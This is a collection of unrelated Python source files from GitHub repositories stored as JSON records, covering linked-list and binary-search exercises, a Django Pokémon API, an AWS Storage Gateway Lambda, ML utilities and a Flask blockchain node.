翻转一小段\n :param head: 一小段的开始节点\n :return: 返回两个节点:翻转后的开始first节点,和结束last节点\n \"\"\"\n\n prev = None\n cur = first\n next = cur.next\n cur.next = prev\n\n for i in range(k):\n prev = cur\n cur = next\n next = cur.next\n cur.next = prev\n # if cur:\n # next = cur.next\n first = pre\n last.next = cur\n return first,last\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n# 使用栈的思想来解决这个问题\nclass Solution00:\n def reverseKGroup(self, head: ListNode, k: int) -> ListNode:\n\n self.stack = []\n p = ListNode(-1)\n result = p\n # 状态标志\n flag = True\n temp_head = head\n while head:\n for i in range(k):\n if not head:\n flag = False\n break\n self.stack.append(head)\n head = head.next\n if not flag:\n break\n else:\n # 更新翻转后的进行连接的节点\n temp_head = head\n for i in range(k):\n cur = self.stack.pop()\n p.next = cur\n p = cur\n # 翻转后和后面的节点相连\n p.next = temp_head\n return result.next\n\n\na = ListNode(1)\na.next = ListNode(2)\na.next.next = ListNode(3)\na.next.next.next = ListNode(4)\na.next.next.next.next = ListNode(5)\nb = Solution().reverseKGroup(a,2)\n\nwhile b:\n print(b.val)\n b = b.next\n\n\n","repo_name":"uecah/shujvjiegou2","sub_path":"lagou/02_K个一组翻转链表_25.py","file_name":"02_K个一组翻转链表_25.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72125438161","text":"from PokemonEC.pokeapi.services import pokeapi\nfrom PokemonEC.command.serializers.pokemons import PokemonModelSerializer\nfrom PokemonEC.command.serializers.stats import StatModelSerializer\nfrom PokemonEC.command.models import Pokemon\n\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom rest_framework import status\n\nfrom django.core.management import call_command\n\nimport json\n\n@api_view()\ndef evolution_chain_from_name(request, pokemon_name):\n print(pokemon_name)\n pokemon = Pokemon.objects.filter(name__contains=pokemon_name)\n if not pokemon:\n try:\n res = pokeapi.pokemon_species(pokemon_name)\n data = res.json()\n evolution_chain_url = data['evolution_chain']['url']\n ec_id = evolution_chain_url.split('/')[-2]\n call_command('create_evolution_chain', ec_id)\n pokemon = Pokemon.objects.filter(name__contains=pokemon_name)\n except Exception as e:\n message = e.args\n return Response({'message' : e.args}, status=status.HTTP_404_NOT_FOUND)\n \n pokemon = pokemon.first()\n pre_chain = _prevolution_chain(pokemon)\n post_chain = _evolution_chain(pokemon)\n pokemon_serializer = PokemonModelSerializer(pokemon).data\n stat_serializer = StatModelSerializer(pokemon.stats, many=True).data\n pokemon_serializer['prevolutions'] = pre_chain['prevolution']\n pokemon_serializer['evolution'] = post_chain['evolution']\n pokemon_serializer['stats'] = stat_serializer\n \n return Response(pokemon_serializer, status=status.HTTP_200_OK)\n\ndef _prevolution_chain(pokemon, chain= []):\n \n prevolutions = pokemon.prevolution.all()\n serializer = PokemonModelSerializer(pokemon)\n pokemon_serializer = serializer.data\n pokemon_serializer['prevolution'] = []\n stat_serializer = StatModelSerializer(pokemon.stats, many=True)\n pokemon_serializer['stats'] = stat_serializer.data\n if prevolutions.count() == 0:\n return pokemon_serializer\n\n \n for prevolution in prevolutions.all():\n pokemon_serializer['prevolution'].append(_prevolution_chain(prevolution, []))\n \n\n return pokemon_serializer\n\ndef _evolution_chain(pokemon, chain = []):\n \n evolutions = Pokemon.objects.filter(prevolution=pokemon)\n \n serializer = PokemonModelSerializer(pokemon)\n pokemon_serializer = serializer.data\n pokemon_serializer['evolution'] = []\n stat_serializer = StatModelSerializer(pokemon.stats.all(), many=True)\n pokemon_serializer['stats'] = stat_serializer.data\n \n if evolutions.count() == 0:\n return pokemon_serializer\n \n \n for evolution in evolutions:\n pokemon_serializer['evolution'].append(_evolution_chain(evolution, []))\n \n \n return pokemon_serializer\n\n ","repo_name":"EnmanuelAlx/PokemonEC","sub_path":"PokemonEC/evolution_chain_api/views/pokemons.py","file_name":"pokemons.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26816723552","text":"glossario = dict()\nglossario = {\"print\" : \"A função print, mostra na tela para o usuário qualquer informação do código\",\n \"str\" : \"O tipo 'str' quer dizer (Caracteres), e serve para definir valores como letras\",\n \"int\" : \"O tipo 'int' quer dizer (Inteiro), e serve para definir valores como números inteiros\",\n \"input\" : \"A função 'input' quer dizer (Entrada), e serve para absorver valores digitados pelo usuário\",\n \"float\" : \"O tipo 'float' quer dizer (Flutuante), e serve para definir valores como números quebrados\"}\n\nglossario[\"while\"] = \"Estrutura de repetição (Enquanto)\"\nglossario.update({\"print\" : \"Função print atualizada!\"})\n\nglossario.pop(\"str\")\ndel glossario[\"int\"]\nglossario.popitem()\n\nprint(\"\\Termos disponíveis no programa:\",glossario.keys())\n\nwhile True:\n palavraUsuario = input(\"\\nDigite um termo de programação e iremos mostrar seu significado: \")\n\n if palavraUsuario in glossario:\n print(\"\\n\",glossario.get(palavraUsuario))\n\n break\n\nglossario.clear()\nprint(glossario)\n","repo_name":"alexdeividy/estudosResilia","sub_path":"Modulo2/aula8/atividade01.py","file_name":"atividade01.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7438485575","text":"import boto3\nimport json\nimport sys\nimport urllib3\nfrom src.activateStorageGateway import get_gateway_activation_key\nfrom src.activateStorageGateway import create_instance\nfrom src.activateStorageGateway import activate_gateway\n\ndef lambda_handler(event, context):\n print(\"SNS Event: \" + json.dumps(event))\n \n event = json.loads(event['Records'][0]['Sns']['Message'])\n \n print(\"Lambda Event: \" + json.dumps(event))\n\n try:\n type = event['RequestType']\n bucket = event['ResourceProperties']['BucketName']\n accountId = event['ResourceProperties']['AccountID']\n envName = event['ResourceProperties']['EnvName']\n ipSource = event['ResourceProperties']['IP']\n \n instance_ip = create_instance(event)\n \n key = get_gateway_activation_key(instance_ip)\n \n result = activate_gateway(key)\n\n responseStatus = 'SUCCESS'\n responseData = {'BucketName': bucket, 'AccountID':accountId}\n sendResponse(event, context, responseStatus, responseData) \n \n \n\n return responseStatus\n except:\n print(\"Error:\", sys.exc_info()[0])\n responseStatus = 'FAILED'\n responseData = {}\n sendResponse(event, context, responseStatus, responseData)\n\n \ndef sendResponse(event, context, responseStatus, responseData):\n data = json.dumps({\n 'Status': responseStatus,\n 'Reason': 'See the details in CloudWatch Log Stream: ' + context.log_stream_name,\n 'PhysicalResourceId': context.log_stream_name,\n 'StackId': event['StackId'],\n 'RequestId': event['RequestId'],\n 'LogicalResourceId': event['LogicalResourceId'],\n 'Data': responseData\n })\n \n http = urllib3.PoolManager()\n encoded_data = json.dumps(data).encode('utf-8')\n req_headers = {'Content-Type':''}\n r = http.request('PUT',event['ResponseURL'], headers=req_headers, body=data)\n\n #opener = urllib3.build_opener(urllib3.HTTPHandler)\n #request = urllib3.Request(url=event['ResponseURL'], data=data)\n #request.add_header('Content-Type', '')\n #request.get_method = lambda: 'PUT'\n #url = opener.open(request)\n\n","repo_name":"adriell/lambda-autoservico-storagegateway","sub_path":"lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14723575690","text":"from typing import List\n\n\nclass Solution:\n\n def binarySearch(self, nums, left, right, target):\n\n if len(nums) == 0:\n return -1\n\n while left <= right:\n mid = (left + right) // 2\n var = nums[mid]\n\n if var == target:\n return mid\n\n elif target > var:\n left = mid + 1\n\n else:\n right = mid - 1\n\n print(left, right)\n\n return -1\n\n def searchRange(self, nums: List[int], target: int) -> List[int]:\n\n if len(nums) == 0:\n return [-1, -1]\n\n first = self.binarySearch(nums, 0, len(nums) - 1, target)\n print(first)\n\n if first == -1:\n return [-1, -1]\n\n start = temp = first\n end = first\n\n while start != -1:\n temp = start\n start = self.binarySearch(nums, 0, start - 1, target)\n\n start = temp\n\n while end != -1:\n temp = end\n end = self.binarySearch(nums, end + 1, len(nums) - 1, target)\n\n end = temp\n\n return [start, end]\n\n\nSolution().searchRange([1, 2, 3, 3, 3, 3, 4, 5, 9], 5)\n\n","repo_name":"akash-codes93/ADT-PYTHON","sub_path":"binary/searchRange.py","file_name":"searchRange.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3234028931","text":"from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nimport matplotlib\nimport matplotlib.style as mplstyle\nmplstyle.use('fast')\n#mplstyle.use(['no_background', 'ggplot', 'fast'])\nimport matplotlib.pyplot as plt\nimport matplotlib.axes as axes\nimport numpy as np\nimport os\n\nimport optparse\nimport glob\nfrom pylab import *\nclass Visualizer():\n def __init__(self):\n print(\"init\")\n\n self.fontsize = 1\n self.shape = (32,5)\n self.vmax = None\n self.vmin = None\n\n #Color map\n self.standardCmap = plt.cm.hot\n self.standardCmap.set_bad(color='blue')\n self.cmap = self.standardCmap\n\n #figure and axis\n self.fig,self.ax = plt.subplots(squeeze=True, sharex=True)\n #color bar for axis\n self.cax = plt.axes([0.0,0.25, 0.01,0.5])\n\n #sub libs options\n matplotlib.rcParams.update({'font.size': self.fontsize})\n matplotlib.rcParams['savefig.pad_inches'] = 0\n #plt.box(on=None)\n\n plt.autoscale(tight=True)\n\n \n def setShape(self, shapey,shapex = 6):\n self.shape = (shapex, shapey)\n\n def setMask(self, p_condition):\n self.mask_condition = p_condition\n\n def visualizeTensor(self, p_tensor):\n print(\"vis ten\")\n test = 1\n\n def visualizeRun(self):\n print(\"vis run\")\n test = 1\n\n def visualizeIteration(self):\n print(\"vis iter\")\n test = 1\n\n def visualize(self, pic, mask, cmap):\n if cmap is None:\n cmap = self.standardCmap\n\n self.plot.spines[\"top\"].set_visible(False)\n self.plot.spines[\"right\"].set_visible(False)\n self.plot.spines[\"left\"].set_visible(False)\n self.plot.spines[\"bottom\"].set_visible(False)\n self.im = self.plot.matshow(pic,cmap=cmap, vmin=self.vmin, vmax=self.vmax)\n\n def visualizeLayer(self, layer, mask, cmap, idx = 0):\n for picIdx, pic in enumerate(layer):\n self.plot = plt.subplot2grid(self.shape,(picIdx,idx))\n self.plot.tick_params(axis=u'both', which=u'both',length=0)\n self.plot.set_xticks([1,len(layer[0])])\n self.plot.set_yticks([1,len(layer)])\n self.plot.tick_params(\n axis='both', # changes apply to the x-axis\n which='both', # both major and minor ticks are affected\n top=False, # ticks along the top edge are off\n bottom=True, \n pad=0.2) # labels along the bottom edge are off\n\n self.visualize(pic, mask, cmap)\n\n def visualizeLayers(self, tensorLayerResult, mask = None, cmap = None):\n numLayers = len(tensorLayerResult)\n maxNumChannels = 0\n for layerIdx, layer in enumerate(tensorLayerResult):\n numChannels = len(layer)\n if numChannels > maxNumChannels:\n maxNumChannels = numChannels\n\n self.shape = (maxNumChannels, numLayers)\n\n for layerIdx, layer in enumerate(tensorLayerResult):\n self.visualizeLayer(layer, mask, cmap, layerIdx)\n\n def visualizeResults(self,inputImage, outputImage, diffOutIn, mask = None, cmap = None):\n visualize(inputImage)\n visualize(outputImage)\n visualize(diffOutIn)\n\n def write(self, filePath = None, dpi = 200):\n plt.colorbar(self.im,cax=self.cax)\n self.fig.savefig(filePath,dpi=dpi)\n self.fig.clear()\n self.cax = plt.axes([0.0,0.25, 0.01,0.5])\n","repo_name":"Nodmgatall/Bachelor","sub_path":"code/src/visualisation/visualizer.py","file_name":"visualizer.py","file_ext":"py","file_size_in_byte":3478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40858351134","text":"# from django.contrib import admin\nfrom django.urls import path\n\nfrom .views import (\n post_list,\n post_create,\n post_detail,\n post_update,\n post_delete,\n)\n\napp_name = 'posts'\nurlpatterns = [\n path('', post_list, name='list'),\n path('create/', post_create),\n path('/', post_detail, name='detail'),\n path('/edit/', post_update, name='update'),\n path('/delete/', post_delete),\n # path('(?P[\\w-]+)/', post_detail, name='detail'),\n # path('(?P[\\w-]+)/edit/', post_update, name='update'),\n # path('(?P[\\w-]+)/delete/', post_delete),\n # path('posts/', \".views.\"),\n]\n","repo_name":"cseai/OpenEduQA","sub_path":"src/posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70495748535","text":"#!/usr/bin/python\n\nimport tensorflow as tf\nfrom depnn_py.neuralnetwork import Network\nfrom depnn_py.dependency import Dependency\nfrom depnn_py.longdependency import LongDependency\nfrom depnn_py.transdependency import TransDependency\nfrom depnn_py.feature import Feature\nimport sys\nimport logging\n\n# Input\n\ntrain_dir = sys.argv[1]\nmodel_dir = sys.argv[2]\nprev_model = sys.argv[3]\nnn_type = sys.argv[4]\nlog_file = sys.argv[5]\n\n# Code\n\nlogging.basicConfig(filename=log_file, filemode=\"w\", level=logging.INFO, format=\"%(message)s\")\n\ntry:\n logging.info(\"Initializing network\")\n\n if nn_type == \"dep\":\n network = Network(prev_model, True, Dependency())\n elif nn_type == \"longdep\":\n network = Network(prev_model, True, LongDependency())\n elif nn_type == \"transdep\":\n network = Network(prev_model, True, TransDependency())\n elif nn_type == \"feature\":\n network = Network(prev_model, True, Feature())\n else:\n raise ValueError(\"Invalid nnType\")\n\n logging.info(\"Network initialized\")\n network.train(train_dir, model_dir)\nexcept Exception as e:\n logging.exception(\"Exception on main handler\")\n","repo_name":"darrenfoong/depnn-py","sub_path":"bin/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"42969108054","text":"#!/usr/bin/env python\n\nimport sys\nimport os\nimport screed\nimport numpy as np\nimport pandas as pd\n\n\ndef main():\n '''Add sequence length to table\n\n Example:\n python add-extra-to-table.py.py \n\n : merged classifcation results showing probability of being\n viral with different classifers\n : viral contig file with seqname matched to \n\n '''\n if len(sys.argv) != 4:\n mes = 'python {} \\n'\n sys.stderr.write(mes.format(os.path.basename(sys.argv[0])))\n sys.exit(1)\n\n score_f = sys.argv[1]\n seqfile = sys.argv[2]\n outfile = sys.argv[3]\n\n d_info = {}\n with screed.open(seqfile) as sp:\n for rec in sp:\n header = rec.name\n name, desc = header.split(None ,1)\n _d = dict(i.split(':') for i in desc.split('||'))\n hallmark = _d.get('hallmark', np.nan)\n viral = _d.get('viral', np.nan)\n cellular = _d.get('cellular', np.nan)\n group = _d.get('group', 'NA')\n length = len(rec.sequence)\n d_info[name] = {'max_score_group': group, 'length':length, \n 'hallmark':hallmark, 'viral':viral, 'cellular':cellular}\n\n df_info = pd.DataFrame.from_dict(d_info, orient='index')\n # seqname is index \n df_info['seqname'] = df_info.index\n\n df = pd.read_csv(score_f, sep='\\t', header=0)\n if len(df) == 0:\n cols = df.columns.values.tolist() + ['max_score', 'max_score_group', \n 'length', 'hallmark', 'viral', 'cellular']\n\n with open(outfile, 'w') as fw:\n fw.write('{}\\n'.format('\\t'.join(cols)))\n sys.exit(0)\n\n _df = df.drop('seqname', axis=1)\n _df.index = df.loc[:,'seqname']\n max_ser = _df.max(axis=1)\n df['max_score'] = max_ser.values\n\n max_score_group_ser = _df.idxmax(axis=1)\n \n for i in max_score_group_ser.index:\n try:\n if max_score_group_ser.loc[i] != df_info.loc[i, 'max_score_group']:\n df_info.loc[i, 'max_score_group'] = max_score_group_ser.loc[i]\n except ValueError as e:\n mes = ('*** Duplicate seqnames are found in input contig '\n 'sequence file; Please fix them and rerun..\\n')\n sys.stderr.write(mes)\n sys.exit(1)\n\n df_merge = pd.merge(df, df_info, on=['seqname'], how='right')\n df_merge.to_csv(outfile, sep='\\t', na_rep='NaN', \n index=False, float_format='%.3f')\n\nif __name__ == '__main__':\n main()\n","repo_name":"jiarong/VirSorter2","sub_path":"virsorter/scripts/add-extra-to-table.py","file_name":"add-extra-to-table.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":160,"dataset":"github-code","pt":"22"} +{"seq_id":"30948907792","text":"import torch\nimport torch.nn as nn\nfrom ..base.base_utils import ModelOutput\nimport torch.nn.functional as F\n\nfrom .vq_vae_config import VQVAEConfig\n\n\"\"\"Code inspired from https://github.com/deepmind/sonnet/blob/v2/sonnet/src/nets/vqvae.py\"\"\"\n\nclass Quantizer(nn.Module):\n\n def __init__(\n self,\n model_config: VQVAEConfig):\n\n nn.Module.__init__(self)\n\n self.model_config = model_config\n\n self.embedding_dim = model_config.embedding_dim\n self.num_embeddings = model_config.num_embeddings\n self.beta = model_config.beta\n\n self.embeddings = self.embedding = nn.Embedding(\n self.embedding_dim, self.num_embeddings)\n\n self.embeddings.weight.data.uniform_(\n -1 / self.num_embeddings, 1 / self.num_embeddings)\n\n def forward(self, z: torch.Tensor):\n\n distances = (z.reshape(-1, self.embedding_dim) ** 2).sum(dim=-1, keepdim=True) \\\n + (self.embeddings.weight.T ** 2).sum(dim=-1) \\\n - 2 * z.reshape(-1, self.embedding_dim) @ self.embeddings.weight\n\n \n closest = distances.argmin(-1).unsqueeze(-1)\n\n one_hot_encoding = F.one_hot(\n closest, num_classes=self.num_embeddings\n ).type(torch.float)\n\n # quantization\n quantized = one_hot_encoding @ self.embeddings.weight.T\n quantized = quantized.reshape_as(z)\n\n commitment_loss = F.mse_loss(\n quantized.detach().reshape(-1, self.embedding_dim),\n z.reshape(-1, self.embedding_dim),\n reduction='mean'\n )\n\n embedding_loss = F.mse_loss(\n quantized.reshape(-1, self.embedding_dim),\n z.detach().reshape(-1, self.embedding_dim),\n reduction='mean'\n ).mean(dim=-1)\n\n quantized = z + (quantized - z).detach()\n\n #loss = commitment_loss * self.beta + embedding_loss\n quantized = quantized.permute(0, 3, 1, 2)\n\n output = ModelOutput(\n quantized_vector=quantized,\n #loss=loss,\n commitment_loss=commitment_loss,\n embedding_loss=embedding_loss,\n )\n\n return output","repo_name":"eknag/10-708-group-project","sub_path":"benchmark_VAE/src/pythae/models/vq_vae/vq_vae_utils.py","file_name":"vq_vae_utils.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"34983342806","text":"import math\nfrom pathlib import Path\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression\n\nPATH = Path(__file__).parents[0]\n\nCORR_THRESHOLD = 1E-2\n\n\ndef compute_missing_values_frequency(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n Compute the frequency of missing values for each column.\n :param df: The dataset as a pandas DataFrame.\n :return: The frequency of missing values for each column.\n \"\"\"\n return df.isnull().sum() / len(df)\n\n\ndef analise_std(df: pd.DataFrame) -> None:\n \"\"\"\n Analyse the standard deviation of each column.\n :param df: The dataset as a pandas DataFrame.\n :return: None\n \"\"\"\n df_features = df.iloc[:, :-1]\n standard_deviations = df_features.std()\n percentage_std = standard_deviations / standard_deviations.sum() * 100\n one_percent = len(percentage_std[percentage_std < 1])\n print(f'\\nFeatures with standard deviation less than 1% ({one_percent})')\n if one_percent < 10:\n for idx, column in enumerate(df_features.columns):\n if percentage_std[idx] < 1:\n print(f'{column} - standard deviation: {standard_deviations[idx]} - percentage: {percentage_std[idx]}')\n one_ten_percent = len(percentage_std[(1 <= percentage_std) & (percentage_std < 10)])\n print(f'\\nFeatures with standard deviation greater than 1% and less than 10% ({one_ten_percent})')\n if one_ten_percent < 10:\n for idx, column in enumerate(df_features.columns):\n if 1 <= percentage_std[idx] < 10:\n print(f'{column} - standard deviation: {standard_deviations[idx]} - percentage: {percentage_std[idx]}')\n ten_percent = len(percentage_std[percentage_std >= 10])\n print(f'\\nFeatures with standard deviation greater than 10% ({ten_percent}):')\n if ten_percent < 10:\n for idx, column in enumerate(df_features.columns):\n if percentage_std[idx] >= 10:\n print(f'{column} - standard deviation: {standard_deviations[idx]} - percentage: {percentage_std[idx]}')\n print('\\n')\n\n\n# Not used\ndef substitute_missing_values(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n Substitute missing values following these criteria:\n - if the frequency of the missing values is less than 1%, then substitute with the mean of the column;\n - if the frequency of the missing values is greater than 1%, then substitute with the regression of the second most\n correlated column with the given column:\n - if the correlation is greater than 0.8 and less than 0.99 else substitute with the mean of the column;\n - if the value of the correlated column is missing use the mean of the correlated column instead;\n - if the frequency of the missing values is greater than 10%, then drop the column.\n :param df: The dataset as a pandas DataFrame.\n :return: The dataset with missing values substituted.\n \"\"\"\n missing_values_frequency = compute_missing_values_frequency(df)\n defensive_copy = df.copy()\n for column in df.columns:\n if missing_values_frequency[column] < 0.01:\n defensive_copy[column].fillna(df[column].mean(), inplace=True)\n elif missing_values_frequency[column] < 0.1:\n correlated_column, correlation = second_most_correlated_column(df, column)\n # The upperbound is 0.99 because the correlation of a column with a one that almost lineally dependent on it\n # is close to 1.0. This scenario is inconvenient because missing values appear in both columns at the same\n # time.\n if 0.8 < correlation < 0.99:\n all_correlated_values = df[correlated_column]\n regressor = get_trained_linear_regressor(all_correlated_values, df[column])\n missing_values_indices = df[column][df[column].isnull()].index\n correlated_values = all_correlated_values[missing_values_indices]\n # if correlated values contains nan values, then substitute with the mean of the column\n correlated_values.fillna(all_correlated_values.mean(), inplace=True)\n substitutions = regressor.predict(correlated_values.values.reshape(-1, 1))\n substitutions = {k: v for k, v in zip(missing_values_indices, substitutions)}\n defensive_copy[column].fillna(pd.Series(substitutions), inplace=True)\n else:\n defensive_copy[column].fillna(df[column].mean(), inplace=True)\n else:\n defensive_copy.drop(column, axis=1, inplace=True)\n return defensive_copy\n\n\ndef remove_uncorrelated_features(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n Remove the features that are not correlated with the label with threshold CORR_THRESHOLD.\n :param df: The dataset as a pandas DataFrame.\n :return: The dataset with the uncorrelated features removed.\n \"\"\"\n correlation = df.corr().iloc[-1]\n return df[[c for c in df.columns if (abs(correlation[c]) > CORR_THRESHOLD) and not math.isnan(correlation[c])]]\n\n\ndef normalise_dataset(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n Normalise the dataset (min max scaling) except for the last column.\n :param df: The dataset as a pandas DataFrame.\n :return: The normalised dataset.\n \"\"\"\n for column in df.columns[:-1]:\n df[column] = (df[column] - df[column].min()) / (df[column].max() - df[column].min())\n return df\n\n\ndef standardise_dataset(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n Standardise the dataset except for the last column.\n :param df: The dataset as a pandas DataFrame.\n :return: The standardised dataset.\n \"\"\"\n for column in df.columns[:-1]:\n df[column] = (df[column] - df[column].mean()) / df[column].std()\n return df\n\n\ndef center_dataset(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n Center the dataset except for the last column.\n :param df: The dataset as a pandas DataFrame.\n :return: The centered dataset.\n \"\"\"\n for column in df.columns[:-1]:\n df[column] = df[column] - df[column].mean()\n return df\n\n\ndef second_most_correlated_column(df: pd.DataFrame, column: str) -> tuple[str, float]:\n \"\"\"\n Compute the second most positive correlated column with the given column.\n :param df: The dataset as a pandas DataFrame.\n :param column: The column to compare.\n :return: The second most correlated column along with the correlation value.\n \"\"\"\n second_most_correlated = df.corr().loc[column].sort_values(ascending=False)\n return second_most_correlated.index[1], second_most_correlated[1]\n\n\ndef get_trained_linear_regressor(train_x: pd.DataFrame, train_y: pd.DataFrame) -> LinearRegression:\n \"\"\"\n Before the training the features and labels are preprocessed:\n - if there is a missing value in the features drop it and also drop the value in the labels at the same index;\n - if there is a missing value in the labels drop it and also drop the value in the features at the same index.\n :param train_x: The training features.\n :param train_y: The training labels.\n :return: The trained linear regressor.\n \"\"\"\n missing_features_indices = train_x[train_x.isnull()].index\n missing_labels_indices = train_y[train_y.isnull()].index\n missing_indices = missing_features_indices.union(missing_labels_indices)\n train_x = pd.DataFrame(train_x.drop(missing_indices))\n train_y = train_y.drop(missing_indices)\n regressor = LinearRegression()\n regressor.fit(train_x, train_y)\n return regressor\n\n\ndef generate_features_components_correlation_matrix(df_features: pd.DataFrame, df_pca: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n Generate a correlation matrix between the features and the components of the PCA.\n :param df_features: The dataset with the features.\n :param df_pca: The dataset with the components of the PCA.\n :return: The correlation matrix.\n \"\"\"\n result = pd.DataFrame()\n for i, feature in enumerate(df_features.columns):\n for j, component in enumerate(df_pca.columns):\n result.loc[feature, component] = df_features[feature].corr(df_pca[component])\n result.index = df_features.columns\n result.columns = ['PC_' + str(i+1) for i in range(len(df_pca.columns))]\n return result\n","repo_name":"MatteoMagnini/phd-course-low-rank-approaches","sub_path":"statistic/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"71774088375","text":"from sklearn import metrics\nfrom inspect import signature\nfrom ._transform import convert_to_numpy\nfrom ._predict import get_prediction\n\ndef get_scorer(metric, model, X_test, y_test, custom_predict):\n if isinstance(metric, str):\n return get_scorer_sckit_learn(metric, model, X_test, y_test, custom_predict)\n elif hasattr(metric, '__call__'):\n return get_custom_scorer(metric, model, X_test, y_test, custom_predict)\n else:\n raise ValueError(\"No scorer object found. Type {} is not callable\".format(type(metric)))\n \ndef get_scorer_sckit_learn(metric, model, X_test, y_test, custom_predict):\n try: \n scorer = metrics.get_scorer(metric)\n y_pred = get_prediction(model, X_test, custom_predict)\n return scorer._score_func(convert_to_numpy(y_test), convert_to_numpy(y_pred)) \n except Exception:\n raise\n \ndef get_custom_scorer(metric, model, X_test, y_test, custom_predict):\n try:\n X_test = convert_to_numpy(X_test)\n y_test = convert_to_numpy(y_test)\n y_pred = get_prediction(model, X_test, custom_predict)\n sig = signature(metric)\n if len(sig.parameters) ==3:\n score = metric(model, X_test, y_test)\n else:\n score = metric(y_pred, y_test)\n validate_score(score)\n return score \n except Exception:\n raise\n\ndef validate_score(score):\n if score is None or isinstance(score, (str, bool)):\n raise TypeError(\"Score must be a quantitative value, not {}\".format(type(score))) \n if isinstance(score, (list, dict, tuple)):\n raise ValueError(\"Score must be a single value, not {}\".format(type(score)))\n\n ","repo_name":"IsaFoster/robustify","sub_path":"robustify/utils/_scorers.py","file_name":"_scorers.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"69905721016","text":"# main.py\nfrom flask import Flask, request, jsonify\n\nfrom block.blockchain import Blockchain, NewBlockException\nfrom common.io_blockchain import get_blockchain_from_memory\nfrom init_blockchain import initialize_blockchain\nfrom node.network import Network\nfrom node.node import Node\nfrom node.node_transaction import NodeTransaction\nfrom transaction.transaction import Transaction\nfrom transaction.transaction_exception import TransactionException\nfrom wallet.owner import Owner\nfrom wallet.wallet import Wallet\nfrom blockchain_user.camille import private_key as camille_private_key\n\n\napp = Flask(__name__)\n\nMY_HOSTNAME = \"127.0.0.1:5000\"\nmy_node = Node(MY_HOSTNAME)\nnetwork = Network(my_node)\nnetwork.join_network()\n\n\n@app.route(\"/block\", methods=['POST'])\ndef validate_block():\n content = request.json\n blockchain_base = get_blockchain_from_memory()\n try:\n block = Blockchain(blockchain_base, network)\n block.receive(new_block=content[\"block\"])\n block.validate()\n block.add()\n block.broadcast()\n except (NewBlockException, TransactionException) as new_block_exception:\n return f'{new_block_exception}', 400\n return \"Transaction success\", 200\n\n\n@app.route(\"/transactions\", methods=['POST'])\ndef validate_transaction():\n content = request.json\n blockchain_base = get_blockchain_from_memory()\n try:\n transaction = NodeTransaction(blockchain_base, network)\n transaction.receive(transaction=content[\"transaction\"])\n if transaction.is_new:\n transaction.validate()\n transaction.validate_funds()\n transaction.broadcast()\n transaction.store()\n except TransactionException as transaction_exception:\n return f'{transaction_exception}', 400\n return \"Transaction success\", 200\n\n\n@app.route(\"/block\", methods=['GET'])\ndef get_blocks():\n blockchain_base = get_blockchain_from_memory()\n return jsonify(blockchain_base.to_dict)\n\n\n@app.route(\"/utxo/\", methods=['GET'])\ndef get_user_utxos(user):\n blockchain_base = get_blockchain_from_memory()\n return jsonify(blockchain_base.get_user_utxos(user))\n\n\n@app.route(\"/transactions/\", methods=['GET'])\ndef get_transaction(transaction_hash):\n blockchain_base = get_blockchain_from_memory()\n return jsonify(blockchain_base.get_transaction(transaction_hash))\n\n\n@app.route(\"/new_node_advertisement\", methods=['POST'])\ndef new_node_advertisement():\n content = request.json\n hostname = content[\"hostname\"]\n try:\n new_node = Node(hostname)\n network.store_new_node(new_node)\n except TransactionException as transaction_exception:\n return f'{transaction_exception}', 400\n return \"New node advertisement success\", 200\n\n\n@app.route(\"/known_node_request\", methods=['GET'])\ndef known_node_request():\n return jsonify(network.return_known_nodes())\n\n\n@app.route(\"/create_wallet\", methods=['GET'])\ndef create_wallet():\n owner = Owner()\n # Wallet(owner=owner)\n return {\n # \"private_key\": owner.private_key.export_key(),\n \"public_key\": owner.public_key_hash\n }\n\ndef main():\n global network\n my_node = Node(MY_HOSTNAME)\n network = Network(my_node)\n network.join_network()\n app.run()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"nvtphong200401/my-blockchain","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70119517176","text":"#8 tile puzzle state based search solver\r\nimport copy\r\n\r\n\r\n#solvegame\r\ndef solve8Tile(sState,goal):\r\n path = []\r\n return 